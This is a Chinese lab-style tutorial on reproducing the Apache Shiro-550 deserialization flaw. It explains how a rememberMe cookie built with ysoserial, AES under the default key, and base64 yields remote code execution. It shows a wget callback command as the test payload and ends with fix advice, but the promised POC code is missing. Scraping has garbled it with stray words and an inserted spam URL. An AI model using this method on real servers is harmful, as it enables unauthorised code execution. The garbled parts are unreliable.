Apache Shiro 在 Java 的權限及安全驗證框架中佔用重要的一席之地,在它編號爲550的 issue 中爆出嚴重的 Java 反序列化漏洞。下面,咱們將模擬還原此漏洞的場景以及分析過程。java
復現過程python
1、 搭建漏洞環境docker
有大佬已經搭建了docker環境能夠直接使用。在安裝docker後執行命令拉取環境運行就有了漏洞環境了。(docker真是個好東西啊)安全
1.拉取環境到本地服務器
docker pull medicean/vulapps:s_shiro_1cookie
2.啓動環境app
docker run -d -p 80:8080 medicean/vulapps:s_shiro_1框架
由於我已經拉下來過了dockers環境了因此直接啓動docker,在docker中將shiro環境的8080端口映射到了主機的80端口,因此直接訪問127.0.0.1就能夠了。工具
2、 漏洞分析編碼
從官方的 issue 上來看,漏洞的利用點是在cookie裏的rememberMe參數,這個參數的值是AES加密再base64以後設置在cookie中的。在服務端對rememberMe的cookie值的操做應該是先base64解碼而後AES解密再反序列化,就致使了反序列化RCE漏洞。
服務端接收rememberMe的cookie值:
rememberMe的cookie值=>base64解碼=>AES解密=>反序列化
咱們要利用那麼POC就須要先反序列化而後再AES加密最後base64編碼
Payload產生的過程:
命令=>序列化=>AES加密=>base64編碼=>payloadfunction(){ //外匯跟單www.gendan5.com
在shrio中AES加密有一個iv向量可是沒有用到因此隨機生成一個就了,重要的是密鑰密鑰,若是沒有修改默認的密鑰那麼就很容易就知道密鑰了,以後就是編寫POC了。
3、 編寫POC
POC確定是py寫快一點鴨,須要用到java的反序列化工具ysoserial(在文末附上這個jar包的下載連接),py的Crypto模塊,這個模塊安裝可能會出問題可是kali裏py環境集成了這個模塊。這裏是一個簡易版的POC只是生成一個payload而後使用,沒有實現自動化。
POC代碼以下:
4、 漏洞利用
先登錄,勾選remberme
而後抓包隨便點一個頁面包含有cookie參數的,這裏抓的是登錄後的第一個包
在vps或同網段虛擬機中執行「python –m SimpleHTTPServer 8080」, 而後再使用poc生成payload,這裏執行的是「wget http://127.0.0.1:7080/」,讓其去訪問個人服務器執行命令
修復建議
一、升級shiro版本
二、修改文件中硬編碼的密鑰